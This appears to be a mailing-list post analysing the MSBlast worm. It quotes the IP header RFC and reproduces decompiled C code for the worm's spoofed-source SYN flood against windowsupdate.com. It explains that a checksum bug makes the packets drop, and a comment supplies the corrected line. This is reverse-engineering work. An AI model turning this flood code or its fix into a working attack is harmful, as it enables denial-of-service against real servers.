First, this blurb from the IP header RFC:

Header Checksum: 16 bits

A checksum on the header only. Since some header fields change
(e.g., time to live), this is recomputed and verified at each point
that the internet header is processed.

Now, check the fixed (as in, my recode was faulty) packet generator function:

void build_and_send_packets(unsigned long msipaddr, socket s)
{
/* many thanks to "a whited sepulchre" for his insight. many of the comments
are taken verbatim from an email he sent me. */

char buf1[0xc];
char buf[0x64];
sockaddr to;
char name[0x10];

memset(&buf,0,60);
srand(GetTickCount());
sprintf(&name, "%i.%i.%i.%i", class_a, class_b, rand()%255, rand()%255);
GetIPAddy(&name);
to.sa_family=2; 
to.sa_data=(unsigned int)htons(0x50);
memcpy(&to.sa_data+2,&msipaddr,4); // IPheader fields below

buf[0x50]=(unsigned int)0x45; // version=4, ihl=5, tos=0;
buf[0x52]=(unsigned int)htons(0x28); // length=40;
buf[0x54]=(unsigned int)1; // id = 1
buf[0x56]=(unsigned int)0; // flags=0, fragment offset=0
buf[0x58]=(unsigned short)0x80; // ttl = 128
buf[0x59]=(unsigned short)6; // proto = 6 (TCP)
buf[0x5a]=(unsigned int)0; // checksum = 0 (computed later)
buf[0x60]=(unsigned long)msipaddr; // src = windowsupdate.com

buf[0x3c]=(unsigned int)htons((rand() % 1000)+1000); // tcp: sport=random;
buf[0x3e]=(unsigned int)htons(0x50); // TCP header: dport=80;

var_9c=rand();
var_9c<<16;
var_9c |= rand();
var_9c &= (unsigned long)0x0000FFFF;

buf[0x40]=(unsigned long)htons(var_9c); // seqno = random 16-bits
buf[0x44]=(unsigned long)0; // ackno=0;
buf[0x48]=(unsigned short)0x50; // data offset = 5;
buf[0x49]=(unsigned short)2; // SYN == true
buf[0x4a]=(unsigned int)htons(0x4000); // window == 400
buf[0x4c]=(unsigned int)0; // csum=0 (computer later)
buf[0x4e]=(unsigned int)0; // uptr = 0;
buf[0x5c]=(unsigned long)msipaddr; // data is merely the IP address

buf1[0]=(unsigned long)msipaddr; // source addr
buf1[4]=(unsigned long)msipaddr; // dest addr
buf1[8]=(unsigned short)0; // zero
buf1[9]=(unsigned short)0; // protocol=0
buf1[10]=(unsigned int)htons(0x14); // length = 20

memcpy(&buf, &buf1, 0xc); // copy pseudo header
memcpy(&buf[0xc], &buf[0x3c], 0x14); // FIXED

buf[0x4c]=(unsigned int)checksum(&buf, 0x20); // compute checksum over pseudoheader and tcp header

memcpy(&buf, &buf[0x50], 0x14); // copy IP header w/o checksum
memcpy(&buf[0x14], &buf[0x3c], 0x14); // copy TCP header w/checksum
memset(&buf[0x28], (unsigned int) 0, 4); // copy null value never referenced

/* the ASM corresponding to the next line
push 28h
lea eax, [ebp+buf]
push eax
call compute_checksum */

buf[0x5a]=(unsigned int)checksum(&buf, 0x28); 
// this is wrong (in practice). according to the RFC, the IP checksum should ONLY be computed
// over the IP header and no part of the payload. however, in referencing the 
// assembly, this C code is accurate. therefore, this worm sends bogus packets that will
// be dropped at the gateway.
// the correct code would be :
// buf[0x5a]=(unsigned int)checksum(&buf, 0x14); 

memcpy(&buf, &buf[0x50], 0x14); // copy IP header with bogus checksum to start of packet
sendto(s, &buf, 0x28, NULL, &to, 0x10); // send it off to be dropped
} 

!!!!

Rolf Rolles
PS check <http://studentweb.ncf.edu/rolf.rolles/> in a few hours for updates to the (living) msblast analysis.